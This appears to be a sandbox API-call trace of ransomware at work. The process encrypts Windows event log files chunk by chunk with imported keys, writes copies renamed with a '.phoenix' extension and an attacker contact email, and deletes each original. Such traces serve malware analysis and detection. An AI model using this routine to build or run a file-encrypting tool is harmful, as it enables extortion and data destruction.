	[0223.386] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151080) returned 1
	[0223.386] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0223.386] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0223.404] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0223.404] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0223.405] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151280) returned 1
	[0223.405] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0223.405] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0223.405] CryptDestroyKey (hKey=0x151280) returned 1
	[0223.406] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0223.406] CryptDestroyKey (hKey=0x151080) returned 1
	[0223.406] CloseHandle (hObject=0x2c0) returned 1
	[0223.406] CloseHandle (hObject=0x2f0) returned 1
	[0223.407] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 1
	[0223.410] SetEvent (hEvent=0x278) returned 1
	[0223.410] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0223.410] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0223.410] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0223.410] CloseHandle (hObject=0x2f0) returned 1
	[0223.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20
	[0223.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0223.410] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0223.410] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0223.411] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0223.411] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0223.411] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0223.411] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0223.411] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0223.419] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0223.420] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0223.421] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1510c0) returned 1
	[0223.421] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0223.421] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70, dwBufLen=0x70 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70) returned 1
	[0223.421] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0223.421] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x122, lpOverlapped=0x0) returned 1
	[0223.421] CryptDestroyKey (hKey=0x151280) returned 1
	[0223.421] CloseHandle (hObject=0x2f0) returned 1
	[0223.421] CloseHandle (hObject=0x2c0) returned 1
	[0223.423] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 1
	[0223.424] SetEvent (hEvent=0x278) returned 1
	[0223.424] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0223.425] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0224.306] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0224.306] CloseHandle (hObject=0x2c0) returned 1
	[0224.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20
	[0224.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0224.306] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0224.306] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0224.306] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0224.306] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0224.330] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151400) returned 1
	[0224.330] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0224.330] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0224.359] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0224.359] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0224.360] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151580) returned 1
	[0224.361] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0224.361] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0224.361] CryptDestroyKey (hKey=0x151580) returned 1
	[0224.361] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0224.361] CryptDestroyKey (hKey=0x151400) returned 1
	[0224.361] CloseHandle (hObject=0x2c0) returned 1
	[0224.361] CloseHandle (hObject=0x2f0) returned 1
	[0224.363] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 1
	[0224.364] SetEvent (hEvent=0x278) returned 1
	[0224.364] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0224.364] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0224.364] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0224.364] CloseHandle (hObject=0x2f0) returned 1
	[0224.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20
	[0224.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0224.365] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0224.365] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0224.365] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0224.365] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0224.365] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0224.365] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0224.365] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0224.393] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0224.393] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0224.395] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1511c0) returned 1
	[0224.395] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0224.395] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80, dwBufLen=0x80 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80) returned 1
	[0224.395] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0224.395] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x132, lpOverlapped=0x0) returned 1
	[0224.395] CryptDestroyKey (hKey=0x151140) returned 1
	[0224.395] CloseHandle (hObject=0x2f0) returned 1
	[0224.395] CloseHandle (hObject=0x2c0) returned 1
	[0224.398] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 1
	[0224.400] SetEvent (hEvent=0x278) returned 1
	[0224.400] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0224.400] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0224.400] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0224.400] CloseHandle (hObject=0x2c0) returned 1
	[0224.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20
	[0224.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0224.401] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0224.401] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0224.401] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0224.401] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0224.790] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1512c0) returned 1
	[0224.790] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0224.791] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0224.802] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0224.803] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0224.804] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0224.804] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0224.804] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0224.805] CryptDestroyKey (hKey=0x151380) returned 1
	[0224.805] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0224.805] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0224.805] CloseHandle (hObject=0x2c0) returned 1
	[0224.805] CloseHandle (hObject=0x2e4) returned 1
	[0224.808] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 1
	[0224.809] SetEvent (hEvent=0x278) returned 1
	[0224.810] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0224.810] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0224.817] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1052672) returned 1
	[0224.817] CloseHandle (hObject=0x2e4) returned 1
	[0224.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20
	[0224.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0224.817] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0224.818] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0224.818] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0224.818] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0224.818] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1515c0) returned 1
	[0224.818] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0224.818] ReadFile (in: hFile=0x2e4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x101000, lpOverlapped=0x0) returned 1
	[0224.866] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x101010, dwBufLen=0x101010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x101010) returned 1
	[0224.867] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x101010, lpOverlapped=0x0) returned 1
	[0224.887] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0224.887] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0224.887] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80, dwBufLen=0x80 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80) returned 1
	[0224.887] CryptDestroyKey (hKey=0x151380) returned 1
	[0224.887] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x132, lpOverlapped=0x0) returned 1
	[0224.887] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0224.887] CloseHandle (hObject=0x2e4) returned 1
	[0224.888] CloseHandle (hObject=0x2c0) returned 1
	[0225.321] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 1
	[0225.322] SetEvent (hEvent=0x278) returned 1
	[0225.322] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0225.322] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
